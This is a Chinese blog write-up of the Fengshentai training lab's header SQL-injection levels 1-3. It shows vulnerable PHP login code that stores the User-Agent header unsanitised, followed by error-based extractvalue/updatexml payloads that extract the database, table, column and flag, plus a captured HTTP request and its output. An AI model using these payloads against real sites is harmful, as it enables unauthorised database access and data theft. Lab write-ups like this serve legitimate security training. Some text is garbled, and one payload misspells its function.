

封神台 head注入1-3

原创

星星明亮 于 2021-06-25 11:20:38 发布 92 收藏

分类专栏: [封神台靶场 sql](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_46578840/article/details/118213433

版权



[封神台靶场](#) 同时被 2 个专栏收录

4 篇文章 0 订阅

订阅专栏



[sql](#)

4 篇文章 0 订阅

订阅专栏

```
$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jic = $username.$password;
$sql = 'select *from user where username =\'\'.$username.\'\' and password=\'\'.$password.\'\'';
if(preg_match('/.*\'.*/',$jic)!= 0){die('为了网站安全性, 禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$username = $row['username'];
$password = $row['password'];
if($row){
    $Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$username')";
    $result1 = mysqli_query($conn,$Insql);
    print_r(mysqli_error($conn));
    echo '成功登录';
```

https://blog.csdn.net/weixin_46578840

可以看到源代码只是对name和password做了过滤, 但是全局变量user-agent是可控的

```
bp抓包修改user-agent头
1' and extractvalue(1,concat(0x7e,(select database()),1)) and '
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()
limit 0,1)),1),'2') # ' //爆表, 由于使用extractvalue会被拒绝执行, 还是用会updatexml吧
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='head_err
or' and table_name='flag_head' limit 0,1)),1),'2') # ' //列名
1' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),'2') # ' //字段
```

```
POST /Pass-07/index.php HTTP/1.1
Host: injectx1.lab.aqlab.cn:81
User-Agent: 1' and extractvalue(1,concat(0x7e,(select database()),1)) and '
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://injectx1.lab.aqlab.cn:81
Connection: close
Referer: http://injectx1.lab.aqlab.cn:81/Pass-07/index.php
Upgrade-Insecure-Requests: 1
```

```
username=admin&password=123456&submit=%E7%99%BB%E5%BD%95
```

□□□□□□□□□□

4.

Username:

Password:

□□□□User-Agent□

1' and extractvalue(1,concat(0x7e,(select database()),1)) and '

5.

查询结果:

6. XPATH syntax error: '--head_error!'

成功登录 https://blog.csdn.net/weixin_46578840

1' and exactvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())) and '

5.

查询结果:

6. execute command denied to user 'nf2019'@'%' for routine

7. 'head_error exactvalue'

成功登录 https://blog.csdn.net/weixin_46578840

第二关和第三关根据源码换成Referer头即可，payload一样